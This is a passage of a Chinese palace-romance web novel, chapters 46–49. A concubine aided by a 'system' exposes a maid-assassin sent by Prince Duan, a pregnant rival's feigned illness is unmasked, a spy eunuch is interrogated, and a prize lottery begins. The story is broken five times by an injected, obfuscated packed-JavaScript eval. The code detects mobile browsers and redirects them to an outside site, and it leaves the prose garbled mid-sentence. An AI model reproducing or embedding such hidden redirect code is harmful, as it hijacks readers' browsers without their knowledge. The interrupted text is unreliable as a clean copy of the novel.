福安甚是有眼色,“你,将那盆花挪去贵人说的地方。” 拂尘一指,花筝便停了下来福身,“是,奴婢这就搬。” 走动之时,贺云徽耳尖微动,原本柔和的眼神骤然暗下,微凉的眸子带着审视,看着那名宫女。 【123,兑换脚底抹油,扔她脚下。】姜舒月瞅准时机忙让123兑换道具。 【兑换成功,积分-5,剩余积分:470。】 下一秒,花筝脚底便凭空出现一小滩油渍。 花筝刚来弦月宫,正是想要好好表现,争取在姜舒月面前露脸,没有想到脚底一滑,整个人向后倒去。 不好! 电光火石之间,身体先大脑一步做出反应。 只见她向后弓腰,左手撑在地上,身子腾空而起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407102|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花盆已被她甩出,落在地上碎了一地。 待她落地,才回过神来,冷汗立刻濡湿了后背。 “呀,你竟然会武功,好厉害!” 身侧的人儿眼睛透亮,惊奇地看着对方,丝毫不觉得有什么不对。 “奴婢该死,请皇上饶命!”她立刻下跪请罪,“奴婢不会武功,只是、只是幼年曾学过戏。还请皇上饶了奴婢!” 见贺云徽没有说话,花筝又转向姜舒月,“贵人救救奴婢,奴婢不是有意的!” “花盆碎了而已。”她摆摆手,毫不在意。 目的已经达到,剩下的就交给贺云徽了。 花筝咬牙跪福着,自己已然败露,又想起主子的话。 闭了闭眼,从腰间抽出软剑,一跃而起,冲着贺云徽面门冲去。 福安脸色大变,大喊:“护驾!” 原本藏在暗处的暗卫,立刻闪身出现在贺云徽身边。 几个宫女太监也没见过这阵仗,都吓得呆愣在原地。 贺云徽坐在椅子上,连动都没有动过。 姜舒月惊呼一声,又被贺云徽牢牢地护在怀里。 她就势假装害怕蜷缩在贺云徽的怀里,眼神还不忘看暗卫和花筝的打斗。 花筝不愧是端王派来的暗桩,竟也能和暗卫缠斗不落下风。 中途找了破绽,执剑破声而来,“狗皇帝,我杀了你!” 还未等接近,就被身后的暗卫的剑捅了个对穿,不甘的倒在地上,双目圆睁。 贺云徽早已提前捂住了姜舒月的眼睛,她不该看到这些血腥的场面。 “陛下,妾身害怕…”她声音发颤,双手还紧紧地攥着贺云徽的衣服。 安抚一般将人护在怀里,“来人,扶你家娘娘进去休息。” 胸前一紧,姜舒月的手还紧紧地抓着他的衣服,“别怕,朕就在外间。” 闻言,姜舒月便松了手,几个宫女忙送人进了内室。 “收拾干净,还有今天的事情,朕不想在外面听到一点风声。” “属下/奴才遵命。”好在弦月宫目前只有伺候姜舒月的几个宫人,大家都知道这件事宣扬出去的后果,又不是不想活了,都跪下表示自己一定守口如瓶。 挥了挥手,他想起刚才姜舒月害怕的样子,“福安,姜贵人受惊,去开库房,选些东西送来,你亲自去。” “是。”福安躬身,带着福明离开,留下福禄伺候 推开门,扶风几个宫女都围在姜舒月身边,生怕她因为刚才的事情害怕。 “见过陛下。” 见贺云徽进来连忙行礼。 “陛下!”姜舒月一看到他的身影,立刻扑了过来。 第46章 越怕什么越来什么 “好可怕,怎么会有刺客在妾身宫里……您可有受伤?” 说着还紧张地检查了一番。 这要是在她宫里受伤了,再被有心人宣扬一下,自己就有可能被诬陷和刺客有勾结。 “无事,别担心,可有吓到?” 她听完眼圈一红,紧紧抱住贺云徽,哽咽着说道:“妾身快要吓**!那个什么花筝,来妾身这里好几天了,平时看着老实,没成想……该不会、该不会宫里还藏了其他东西吧!” 姜舒月是有意要引导贺云徽的,123说花筝在宫殿里藏着不少情报,等着合适的机会传递出去。 她虽然是受害者,但是现在刺客出在她宫里,她不想办法把自己撇清,难保贺云徽不会疑心自己。 贺云徽拍了拍她,“别怕,待会让他们仔细搜查一番。” 姜舒月埋在贺云徽怀里,胡乱点头,又抬起脸,小嘴一瘪,“陛下,今晚能留下陪妾身吗?妾身害怕……” 这是姜舒月第一次开口留贺云徽。 他想了想,今日她确实受惊了,整个人现在都还在微微颤抖。 “好,今日朕留下陪你。” 姜舒月闻言才算是松了一口气,展颜一笑。 踮起脚在贺云徽下巴亲了一口,“多谢陛下。” 待福安回来,贺云徽下令搜索弦月宫。 还真的找出来不少东西。 一盒胭脂,几支空心的发簪,密写药水。 还发现了几个弦月宫众人都很熟悉的东西 ——巫蛊人偶。 姜舒月正努力扮演着不知情的受害者,演技不够,道具来凑。 找123兑换的伪装小药丸,脸色唰一下变得苍白。 【兑换成功,积分-5,剩余积分:465。】 看到这些东西的时候,适时的踉跄一下。 随即泫然欲泣地说道:“她与妾身究竟是有何仇恨,竟将如此歹毒之物放在弦月宫。” 贺云徽自是知道,这东西不是拿来害姜舒月,就是用来陷害姜舒月的。 但还是蹙起了眉,福安立刻斥道:“什么腌臜玩意都放在贵人眼前,还不快拿出去!” 待所有东西都收拾干净之后,贺云徽轻抚她的后背,安慰道:“放心,不会有事的,别哭了。” 皇宫内一直都有内奸潜伏着,贺云徽本想趁着这个机会把人揪出来,但看着姜舒月的样子,又不忍离开。 心下叹息,只能先安抚好姜舒月,再去想别的事情。 “福安,传令下去,封锁宫门,找人盯着,有任何风吹草动立刻禀告朕。” “奴才遵旨。” “这下放心了?朕金口玉言,说了会留下就不会走的,”他拍拍姜舒月,“现在可以放开朕了吗?嗯?” 略带调侃的声音响起,姜舒月耳尖微红,“陛下您打趣妾身。” 【当前任务进度已经80%了,宿主加油!】 123最近在恶补各种小说和电视剧,觉得今天晚上月光正好,正是完成任务的好时机。 得知贺云徽留宿弦月宫,后宫不少瓷器都难逃一劫。 尤其是尹宝林屋内。 “娘娘您喜怒!”豆蔻和莲心都在一旁护着她,“小心动了胎气!” 尹宝林摔了几个花瓶后尤未解气,当下翻出了那日姜舒月送来的流云百福白玉佩和翡翠百子如意,重重地摔在了地上。 上好的玉器掉落,碎了一地。 “你,去弦月宫求见陛下,就说我不舒服!” 豆蔻忙扶着尹宝林坐下。 “快去,就说我难受得不得了。” 莲心一愣,“娘娘?” 她双目赤红,头发披散,一点也看不出来往日温婉的模样。 下一瞬间,一个茶杯摔落在她身边,“我让你去,你聋了不成?!” 莲心无法,只能前去。 “娘娘您息怒,奴婢给您梳洗一下,再唤人进来收拾一番,若是让陛下看到您这样,岂不是不美。” 豆蔻一番话很是得尹宝林的欢心,当下也不生气了,急忙让豆蔻给自己整理一番。 今夜弦月宫门口是小方子守着,莲心过来的时候,正遇到小方子和小顺子在闲聊。 小顺子就是那名在兰馨阁附近负责扫洒的太监,巫蛊事件之后,姜舒月便找了机会将人要来了弦月宫。 “小方子公公。”她走路没有什么声响,还把小方子两人吓了一跳。 “哎哟!吓我一跳!”接着灯笼,看清了来人,“这不是莲心姑娘吗,大晚上的您这是?” 小方子心里腹诽着:千万别是来找皇上的! 可越怕什么越来什么。 “烦请公公通报一下,我家娘娘有些不舒服,想请皇上过去一趟。” 小方子脸上的笑淡了下来。 今天弦月宫发生了那么大的事情,现在满宫上下都还有些后怕,连皇上都不忍心让独自娘娘一人,从而留宿在此。 可是来的人不是别人,偏偏是尹宝林身边的宫女。 但,什么事情再大也大不过皇嗣,他就算再不忿,也不能在这种事情上给主子拖后腿。 他深呼吸一口气,扯出一抹笑来,“姑娘在此稍后,容我进去通传一声。” 福安也和两个徒弟忙中偷闲,看小方子一脸严肃的走了进来,还以为外面发生了什么事情。 “福公公,尹宝林娘娘身边的莲心姑娘来了,说是宝林娘娘有些不适,想请皇上过去一趟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422590|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事关皇嗣,福安也严肃起来。 他站在门口仔细听了听门内的声音,只听得一些细细的话说声,想来没有发生什么。 便小心走了进去。 “启禀陛下。” 姜舒月正枕在贺云徽腿上,缠着他说一些早年间在外的一些趣事。 听得高兴呢,就被人打断了。 “什么事?”贺云徽声音透着不耐烦。 “尹宝林娘娘身边的宫女来,说宝林娘娘身有不适,想让您去看看。” 贺云徽皱眉,“不舒服就找太医,朕难道会看病不成?” 说完福安也明白了他的意思,想把人打发走。 姜舒月从他腿上爬起来,尹宝林本来就对她有意见,万一气过头给孩子气没了…… 她虽然讨厌尹宝林,但孩子毕竟是无辜的。 “陛下,尹宝林可能初为人母,有些无措,陛下还是去看看吧。” 她乖巧地坐在榻上,一缕发丝垂在腮边,看着更加娇憨可爱。 手指动了动,抬手将这缕发丝轻轻地别在她耳后。 “真的想让朕去?” 姜舒月没有直接回答,而是帮着给贺云徽整理了一下衣衫,“真话是:不想。但是,这毕竟是陛下的孩子,为了皇嗣,您也应该去看看,尹宝林怕是也希望能够在无助的时候看见您呢。” 她说得坦荡,一双桃花眼黑白分明,一如既往的清澈。 如此坦白,倒叫贺云徽多看了两眼。 “也罢,”他起身掸了掸衣角,“今日终究还是朕食言了,日后朕会补偿你。” 说这,贺云徽俯身在她唇上亲了亲。 “早些休息,若还是害怕,就让人去寻朕。” 姜舒月握着他的手贴在脸上,“有陛下这句话,妾身就不害怕了。” 福安在一旁看着,心里也是啧啧称奇。 还得是姜贵人,会说话办事又得体。 这下皇上不得多多补偿她? 夜色渐浓,月色在云朵的遮盖下忽明忽暗。 踏出弦月宫时,晚风轻轻吹过,带起了一股石榴花香。 莲心还在门口侯着,看见贺云徽便下跪行礼。 “尹宝林为何突然身体不适?”贺云徽声音淡淡的,听不出来喜怒。 “娘娘今日用膳极少,吃了很多都吐出来了,”她绞尽脑汁,想着今日发生的事情,“到了晚间,更是难受得无法安寝,这才斗胆惊扰皇上。” “福安,召太医去翠竹轩,”他转动着扳指,“走吧,摆驾翠竹轩。” “娘娘,您别走了,坐下歇会吧,您都走了半个时辰了。” 尹宝林绞动着手帕,眼神一直望着门口的方向来回踱步。 第47章 作何解释 紧接着,好似听到有人过来的声音,立马躺到了榻上,“快,拿珍珠粉给我脸上补点,还有还有,那个青黛,在我眼下画些颜色。” 手忙脚乱地忙好之后,贺云徽也踏入翠竹轩内。 “皇上驾到!”福明唱到,豆蔻急忙到门口迎接。 贺云徽甫一进门,就看到尹宝林半倚在贵妃榻上,月白色的寝衣裹着她瘦弱的身躯。 听见脚步声,便抬眸看向贺云徽,“陛下万安~” 这一声,可谓是喊得百转千回。 “去,给尹宝林看看。”他没有理会尹宝林,径直坐在主位上,让太医过来诊脉。 今夜太医院当值的太医是胡太医,也是第一个给尹宝林诊出喜脉的太医。 尹宝林虽然一开始脉象不稳,但是李太医一直给她调养,按道理尹宝林的身体应该并无大碍。 胡太医的手指搭上尹宝林的手腕,心里便对尹宝林的‘不舒服’有了计较。 “脉弦而数,是肝气上逆,肝火亢盛之象,加上娘娘饮食失常,难免有些郁气凝结之症,还需宽心为上。” “郁气凝结?”贺云徽忽而轻笑一声,“好一个郁气凝结之症。” 胡太医不知贺云徽这是何意,只能嗫喏退到一旁,安静的当一个人形立牌。 他的眼神滑过尹宝林的脸,又看向案头上那没来得及收拾的珍珠粉和青黛,嘴角勾出一个嘲讽般的微笑。 豆蔻跟随在众人身后进来,眼睛也落到了案头上那些物品。 大惊失色想要上前把东西收走,被莲心紧紧拉住。 “都退下,没有朕的吩咐,谁都不许靠近。”贺云徽最终还是选择给她留些面子。 豆蔻还想挣扎,福安一个眼神过去,她只能颤巍巍地跟着出去了。 门被轻轻地合上,屋内骤然安静下来,沉闷的空气里弥漫着一丝不安。 尹宝林靠在贵妃榻上,浑然不知她此刻已然被贺云徽看穿了伪装,还在佯装柔弱上模样。 “陛下……”那声音带着几分娇嗔,若是换做之前,也许贺云徽还会心生怜惜。 “尹宝林将朕深夜叫过来,是想告诉朕,这郁气凝结之症,是这珍珠粉和青黛补出来的?” 尹宝林指尖颤动,眼神也随之落到案头上,脸色一白。 “朕说过,要你好好精心养胎,看来你并没有把朕的话放在心上。” 他眼里没有任何温度,语气甚至比第一次侍寝那日还要冷淡。 她宁愿贺云徽能够生气。 起码这样能够说明,他对自己还是有些在乎的。 尹宝林身子一颤,眼里闪过一丝慌乱,但很快又摆出一副柔弱无助的模样,抬头看着贺云徽。 “妾身已经听从陛下的吩咐,有好好养胎……” 贺云徽起身缓步走向尹宝林,居高临下地凝视着她。 “是吗?那今日之事,你作何解释?”他的声音不大,却这在静谧的室内格外清晰。 “陛下,妾身…妾身实在是身子难受,”她内心有些慌乱,眼睛不住的乱瞟,“这才急着请您过来,又怎敢欺瞒陛下……” 他眯起眼睛,伸手轻轻抚上尹宝林的面颊,看似亲昵无间,指尖却透着凉意。 “还有几日便要南巡,若你觉得此次无需随行,朕可以成全你,让你留在宫中,好好养胎。” 她‘扑通’一下从榻上滑落,跪在地上,泣不成声,“陛下,妾身知错了,求您开恩……” 还伸出手,作势要握住他的手。 随即,贺云徽轻轻避开她伸过来的手,神色越发冷峻,“你腹中怀有皇嗣,朕乃至全宫上下,自当重视。但你若以为,有了孩子就可以在这后宫中为所欲为,欺君犯上,那你就大错特错了。” “今日之事,朕就当你是一时糊涂,若再有下次,朕定不会轻饶。” “妾身……遵旨。” “你最好记住你说的话。”说罢,不管尹宝林作何表情,转身大步流星朝门外走去。 徒留尹宝林瘫坐在地上。 “娘娘!”两个丫鬟战战兢兢地恭送了贺云徽,一进屋就发现自家娘娘呆愣地坐在地上。 “娘娘您怎么了?!您没事吧?”莲心上下检查着尹宝林。 实在是皇上的脸色太难看了,让她不得不怀疑,皇上是不是对尹宝林动手了。 豆蔻给她到了一杯温水,放在她的手里,惊觉她的手凉的厉害。 “天啊,您的手怎么这么凉,”她转身去给尹宝林拿件披风。 她眼神空洞,坐在那里许久才缓过神来,推开两个丫鬟的搀扶,踉跄着走到梳妆台前。 镜中的人脸色苍白,眼下的青色明显,一副弱不经风的模样。 再看那扇紧闭的门,仿佛能看到贺云徽决然离去的身影。 渐渐的,心底那股不甘逐渐放大。 她咬了咬唇,指甲深深嵌入掌心,“都是因为你……” 尹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15426890|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝林咬牙切齿地低语。 她越想越气,起身又开始在屋内来回踱步,脑子里疯狂地盘算着如何才能挽回局面。 “娘娘?”两个丫鬟对视一眼,都看到了对方眼里的担忧。 莲心知道现在尹宝林不太信任她,只好出去给尹宝林煎安胎药。 那药有一定的安神作用,好歹先让自家主子先休息再说。 用完药的尹宝林,被豆蔻扶到床上躺下。 在彻底入睡前,嘴里还在不停地喃喃自语些什么。 也不知是不是贺云徽心里一直想着姜舒月,不知不觉又往弦月宫走去。 走到一半,又停了下来。 看向弦月宫的方向,那边悬挂于宫门之上的宫灯已然熄灯了。 想来姜舒月也已经歇下了。 “福安。”正跟在贺云徽身后碎步跟着的福安,听到贺云徽的声音。 “奴才在。” “明日,去朕的私库,将那顶点翠嵌宝莲花冠取来,再挑几匹刚从蜀地进贡来的蜀锦,还有上次波斯国进贡的香料,选几盒最上乘的送去给姜贵人。” 福安忙不迭地点头,“陛下放心,奴才定办得妥妥当当。” 姜舒月睡得香甜,又不用时刻对着贺云徽演戏,自然一夜无梦到天明。 宋滢被禁足之后,已经好久没有早起请安了,倒是让姜舒月好好的感受了一番睡到日上三竿的假期生活。 她一动弹,外面侯着的静玉便立刻掀了帘子。 “娘娘,可要起了?”姜舒月睡眠质量很好,晚上几乎不会有醒的时候,所以给她守夜的宫女也不会很难过,偶尔也能在夜里浅眠。 她迷迷糊糊地应着,一双桃花眼因打哈欠洇出些泪水。 弦月宫因为姜舒月醒来,而渐渐开始有些许声音响起。 明夏端着温蜜水进来,“娘娘,喝点温蜜水。” 姜舒月眼睛都还没睁开,就闻到一股清甜的香蜜气味,手准确的拿住了碗,小口小口地喝着。 “昨日可有发生何事?”将碗递出去,静玉和明夏都知道,她问的是昨天贺云徽去了翠竹轩之后的事情。 “小方子早早地就出去打听了,”明夏帮着静玉一起给姜舒月更衣,“只说陛下进去之后,就将所有人都赶了出去,没有人知道屋里发生了什么。但据说,陛下临走时,脸色难看得紧。” 姜舒月终于是清醒了一些,睁开眼睛。 【我知道我知道!】 第48章 能说会道 123不停地在脑海里蹦跶,【她装病,被男主戳穿了,男主就不高兴了,说她再不老实就不让她去南巡。】 嗯……结合这段时间尹宝林怀孕之后的降智行为,是她干得出来的事情。 【不用说,她肯定又把这个事情算在我头上了吧。】 123【没错没错,她已经在盘算怎么对付宿主了!】 事实证明,人在极度无语的时候,是会笑出来的。 静玉和明夏看着突然冷笑一声的姜舒月,还以为她被尹宝林气到了。 “娘娘莫要生气,”静玉给她轻轻地按摩着头皮,斟酌着开口,“陛下心里还是有您的。” 姜舒月知道丫鬟们是在安慰自己,“谁说我生气了,我是在想,今日早膳可不可以拥有一道翡翠虾仁。” 明夏一向对姜舒月的要求有求必应,这就答应着拿着钱,去尚膳居给姜舒月安排。 姜舒月正用青枝,沾了细盐,对着铜镜仔细清洁着。 “对了娘娘,福明公公一早便来了,说是陛下有赏。”静玉看她收拾得差不多了,又给姜舒月腕间搭了一条浅蓝色披帛。 又说道:“奴婢本想叫您,但是福明公公说,陛下怕昨日的事情惊了娘娘,有意叫娘娘好好休息,不必叫起。” 姜舒月想了想,就知道是贺云徽给自己的补偿来了。 “奴才见过贵人娘娘,娘娘万福,”来的是福明公公,几个小太监捧着都承盘在一旁静候着。 “福明公公,”姜舒月点了点头,“这是?” 福明脸上堆着笑容,“昨日事出突然,陛下心中对姜娘娘一直放心不下。这不,特意命奴才给您送些东西来。” 说完,示意身边的小太监将都承盘放下。 几样放在现代都是千万级别的珍品,姜舒月见了财迷属性爆发,眼里的欢喜几乎要溢出来。 “我很喜欢,”她笑眯眯地,“烦请公公代我谢过陛下,还请陛下不必因为昨日之事介怀,孰轻孰重,舒月还是明白的。” 福明连忙应道:“姜娘娘深明大义,您的话奴才一定带到,那奴才就不打扰娘娘了,先行告退。” “诶,公公稍等。”姜舒月突然想起什么,转身回到屋内。 一刻钟后,她脸颊微红,手里拿着几张叠好的宣纸,递给福明。 她可没忘,贺云徽说自己会每日检查她的功课。 只是那宣纸之上,被姜舒月写了几首极为暧昧的诗词。 实在是任务马上要到期了,这最后的20%迟迟吃不上,姜舒月难免有些心急。 “这个,劳驾公公替我交给陛下。”说话时,姜舒月脸上染上绯色的红晕,如桃花初放。 叫旁边的人都看呆了去。 福明双手接过,“娘娘放心,奴才定会将信完好无损的交给陛下。” 宣明殿 “参见陛下。”银翎手里拎着一个小太监,被绳子捆的严严实实。 “属下按照您的意思,对这几日进出殿中省和内侍省的人进行了排查,属这太监最为可疑。此人每月的初一都会单独和张进宝见面,且每次见完面之后,张进宝出宫之后的开销也较之以往更加铺张浪费。” 那名太监满脑袋的汗,下巴已经被银翎卸掉,以防他牙里藏了毒或者咬舌自尽。 仿佛已经失去了求生的意志,那名太监倒在地上一点反应都没有。 贺云徽听着银翎的禀告,手指轻敲着书桌。 福安,传殿中监。 殿中监张进宝赶到时,那太监还在宣明殿的地上躺着,他眼皮一颤,心道遭了。 “奴才见过皇上,皇上万福金安。”张进宝跪在地上,额头沁出的汗珠浸湿了面前的地面。 张进宝,你可知罪?贺云徽的声音如同冰锥,让人心生寒意。 他连连磕头,直呼冤枉,“奴才不知,究竟是犯了何罪。” 贺云徽冷笑,指尖转动着扳指,“那你可识得此人。” 福安抬手,侍卫得了指令,将那人扔了过来,沉闷的声音砸在地上,也砸在了张进宝的心头。 看着被卸了下巴的太监,张进宝额头上的冷汗落得更多了。 “这,这太监有些眼熟,想来应该是哪个宫里的,不知是否犯了大罪,您吩咐一声,自有奴才为您分忧,何须劳驾陛下您……” 福安向来和张进宝互相看不顺眼,闻言冷笑一声,“张公公好一张能说会道的嘴,来人!” 又是一阵脚步声,眼前又多出一具尸体。 正是昨日意图行刺的花筝。 “啊!这这这……”张进宝吓得双腿一软,连挣扎远离的力气都没有。 才把人送入弦月宫几日,就成了这幅鬼样子。 “那这人,你可识得?” “识、识得,前几日奴才见她机灵,正好贵人娘娘那里缺个洒扫宫女,便送了过来。”张进宝重新爬起来跪好,飞快地说着。 这套说辞仿佛演练过上千次,说的无比顺畅。 “机灵?你可知你口中颇为机灵的宫女,在昨日,意图行刺朕?”贺云徽轻笑,指了指花筝。 陛下明鉴!奴才真的只是给贵人娘娘送了一个扫洒宫女…至于她大胆竟敢行刺陛下,奴才当真不知啊! 这可是掉脑袋的大事,给他10个胆子他也不敢做这种事情! 突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432304|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,贺云徽抽出一旁侍卫的刀,刀锋抵在张进宝喉间,只是轻轻一挑,张进宝颔下赘肉便立刻渗出殷红的血珠。 “啊!陛下饶命陛下饶命啊!”他浑身颤抖如筛糠,因喉间还有刀抵着,只能拼命向后仰着。 如今这个情况,再不说实话,只怕自己今日必定要命丧当场,但也只能挑着能说的说了。 “端王、是端王!是他给了奴才一箱黄金,只说是监视姜贵人…奴才只知道这么多,求陛下开恩啊!” 贺云徽收回刀,“开恩?朕竟不知自己一手提拔起来的殿中监总管太监,为了这黄白之物,可视朕,视这云朝律法为无物。” 张进宝像是溺水的人抓住了浮木,一把抓住贺云徽的龙袍下摆,涕泪横流。 奴才该死!奴才一时猪油蒙了心...求陛下再给奴才一次机会吧! 贺云徽一脚将他踹开,“机会?朕将你一手提拔至殿中监,你对得起朕的信任?” “属下参见陛下。”琼林身后跟着两个侍卫一起,抬着一个红木的箱子进来。 看到红木箱子,张进宝心里只有绝望。 红木盒子上本来应该上了一把锁,早已经被琼林用剑劈开。 打开之后,里面装满了金银珠宝,和一些书信。 “这些书信和财物,都是属下在张进宝屋中搜出,请陛下过目。” 贺云徽随意拿起一封信,一目十行的看完,随后便扔在张进宝脸上。 “张公公确实有一张能说会道的嘴,只是不知道你所选之主,是会相信你呢,还是会**灭口一劳永逸呢?” “琼林。”贺云徽转头看向琼林,“去,把张进宝在宫内安插暗桩的的消息散播出去,让端王以为他为了意图自保泄露了名单。做得巧妙些,最好能让这些暗桩自乱阵脚。” 张进宝脸色如丧考妣,“陛下饶了奴才吧!奴才再也不敢了陛下!……” “将他拖下去,好生看管。”贺云徽挥了挥手。 “是。”琼林堵了他的嘴,拖了出去。 他又拿起另外一封信,“呵,真是朕的好兄弟。如此关心朕的后宫,若不礼尚往来一番,岂不显得朕这个做兄长的小气。” 扳指转动地越发快起来,“轻竹那准备得如何?” “只等陛下吩咐。” 听闻京都最大的销金窟中,来了一名国色天香的女子,一曲《摇光赋》名动京都。 就连端王也成了其入幕之宾,多次想要为其赎身,却被女子拒绝。 女子放言,只有破了她设下的三道题,才是她心目中的良人。 “去吧,告诉她,鱼儿吊得太久,可是要跑的。” 第49章 幸运大抽奖 银翎抱拳行礼,“是,属下领命。” 贺云徽负手立在大殿中央,抬头往向殿上的牌匾。 克明俊德四个大字苍遒有力。 「徽儿,父皇知你胸中雄才伟略。父皇只求你一件事,将来若是帆儿……看在父皇的面子上,你留他一命吧。」 父王,您即知如此,却还是给朕留了一个心腹大患。 福安他从小就跟在贺云徽身边,见状就知道,皇上必定又想起了先皇。 “参见陛下。”福明放轻了脚步,躬身给贺云徽行礼。 “起来吧,”他收回思绪,“东西可送过去了?她看着如何?” “回禀陛下,奴才今日早早地便去了弦月宫,去到之时,姜娘娘还未起,陛下有令无需吵醒姜娘娘,奴才便等了些时候。” 听到福明说姜舒月卯时还没起,贺云徽想到她起身时困倦的模样,眼里闪过一丝笑意。 “姜娘娘看到很是欢喜,尤其是那顶点翠嵌宝莲花冠,姜娘娘爱不释手,托奴才给您带话,谢陛下的赏赐,还让陛下无需介怀。” 贺云徽脸上的神色柔和下来,丝毫不见刚刚处理张进宝时的威压。 “她可还有说些别的?”嘴角不自觉的微微上扬,就连语气也缓和不少。 福安再次感叹,姜贵人对于贺云徽的影响,已经到了显而易见的地步了。 也算是姜贵人的造化了。 福明从怀里掏出一叠宣纸,“姜娘娘还托奴才,给您带了她写的书信。” “哦?”贺云徽倒是有些意外了,那日教她写字时满脸的不情愿,今日倒是主动写了书信。 “呈上来。” 宣纸上,姜舒月一手稚嫩的字写得并不好看。 但是内容…… 饶是贺云徽经历了大风大浪,也被姜舒月的大胆惊得眼皮子跳了跳。 那宣纸上,赫然写着—— 携手揽腕入罗帐,含羞带笑把灯吹。 金针刺破桃花蕊,不敢高声暗皱眉。 另一张上面写着—— 花明月暗笼轻雾, 今宵好向郎边去。 划袜步香阶,手提金缕鞋。 画堂南畔见,一晌偎人颤。 奴为出来难,教君恣意怜。 福安看着自家陛下,一会脸上震惊,一会眉头紧锁,难得对姜舒月送来的书信产生些好奇心来。 良久,就见贺云徽握拳抵住嘴,轻咳一声。 “越发的没个规矩了,竟敢写出此等……若叫御史看见,非参她个魅惑君主之罪不可!” 福安毕竟从小跟在贺云徽身边,对于贺云徽的喜怒哀乐早已洞察于人心。 听他如此一说,便知贺云徽言不由衷,赔着笑说道:“姜娘娘也是心系陛下,这般用心,旁人知道了也是只有羡慕的份。” 贺云徽想起姜舒月昨日乖巧劝他离去的样子,眼里笑意又深了一些,佯装严肃,“即便如此,也该懂些分寸。” 嘴上这么说着,手里的诗词被他来回反复看了几遍。 眼角余光瞥到福安笑着,脸上那笑意突然碍眼起来。 他小心翼翼地把宣纸收好,收了表情回头给了福安一脚。 “哎哟!”那一脚并没有踹得很疼,但福安配合地歪了歪身子。 踹完也不看福安耍宝,他回到书桌后,翻开一本奏折开始处理政务。 随后又吩咐下去,“这两日事情多,去告诉姜贵人,朕今日忙完再去看她,不用等朕用膳。” “是。”福明应声离开。 【叮——成功揪出内奸,并且告知男主,奖励五次幸运大抽奖,请问宿主是否需要抽奖?】 正在和扶风她们酣战的姜舒月,听到了来自123的声音。 姜舒月听了眼睛一亮,要知道在现代的时候,她最喜欢玩的游戏就是可以抽卡的游戏了。 虽然她每次脸都很黑,但是并不妨碍她对这类抽奖的喜爱。 【当然要!等会啊!】麻将也不香了,姜舒月让静玉来替自己打牌,她则进入到内室。 【123,抽奖是会给系统商城里的东西吗?】姜舒月兴致勃勃的翻看着系统商城。 里面有几个道具需要的积分很高,姜舒月一直没有舍得买。 小橘猫点点头,说道【什么样的道具都可能会抽到的,有的时候也会抽到无用的道具。】 【呸呸呸,】姜舒月连忙制止了123的乌鸦嘴,【我今天可是赢了不少钱,运气肯定没得说。】 她兴奋地搓搓手,虔诚地准备着抽奖前的仪式。 看她又是净手又是拜拜的,123不好直接打击她,只好耐心等待她做完这些动作。 【请问宿主是否开启抽奖?】系统面板上出现两个字:是/否。 深呼吸了一下,姜舒月点了是。 面板上一阵光芒闪过,装着道具的盒子不停地在奖池中乱跳。 大约5秒过后,面板上出了一个紫色,三个蓝色和一个绿色的盒子。 每个盒子都抖动着,似乎在跟姜舒月说:快来打开我! 【是否一键打开?】 【开!】姜舒月说完的一瞬间,紧张地闭上了眼睛,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15436153|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后又悄咪咪地睁开一条小缝看着。 【恭喜宿主获得紫色道具:椒房专宠:点燃后侍寝必孕,胎儿性别可选; 蓝色道具:魅心香:一种极为独特的香料,香气淡雅能悄无声息地影响他人心智; 